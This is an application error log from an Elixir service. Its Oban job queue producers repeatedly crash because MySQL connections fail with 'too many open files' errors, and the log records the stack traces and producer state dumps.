    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:15:33.241168Z], limit: 50, uuid: "df1fc8a7-33b0-4cbc-b524-7a660bfb7a85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:33.241174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112287>, refresh_timer: #Reference<0.2525715032.1121189889.112279>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:46.038000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:47.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:49.213000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:15:39.238709Z], limit: 10, uuid: "751272bc-3f92-491f-a336-f769940fa4c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:39.238716Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112438>, refresh_timer: #Reference<0.2525715032.1121189889.112431>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:53.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:55.678000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:56.081000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:56.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:15:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:15:45.242349Z], limit: 3, uuid: "b04819f3-f5c3-4b8d-a8d1-0895512bc617", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:45.242358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.1206>, refresh_timer: #Reference<0.2525715032.1099431938.12855>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1560ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:15:45.243917Z], limit: 5, uuid: "9a140b1e-8c48-40c5-bdec-b7fbd3a968d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:45.243923Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.12887>, refresh_timer: #Reference<0.2525715032.1099431938.12874>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1560ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:15:45.242974Z], limit: 20, uuid: "4a6f13c5-30e2-4c04-9a49-2bb96dd0eaa3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:45.242979Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.12885>, refresh_timer: #Reference<0.2525715032.1099431938.12833>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1560ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:15:45.244105Z], limit: 5, uuid: "2a5372cf-4ce3-41e6-ae7b-fc986c1a315d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:45.244110Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.12886>, refresh_timer: #Reference<0.2525715032.1099431938.12884>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1560ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:15:45.248156Z], limit: 50, uuid: "ebb0f2aa-9442-41bb-9196-9064b1c89f21", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:45.248163Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.244656>, refresh_timer: #Reference<0.2525715032.1077411843.244655>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:15:59.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:00.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:02.577000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:15:51.237298Z], limit: 10, uuid: "ad321a49-3e4c-4d32-bad7-7e84d19947ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:15:51.237307Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.112680>, refresh_timer: #Reference<0.2525715032.1121189889.112670>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:05.827000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:07.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:07.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:10.190000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:16:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1945ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
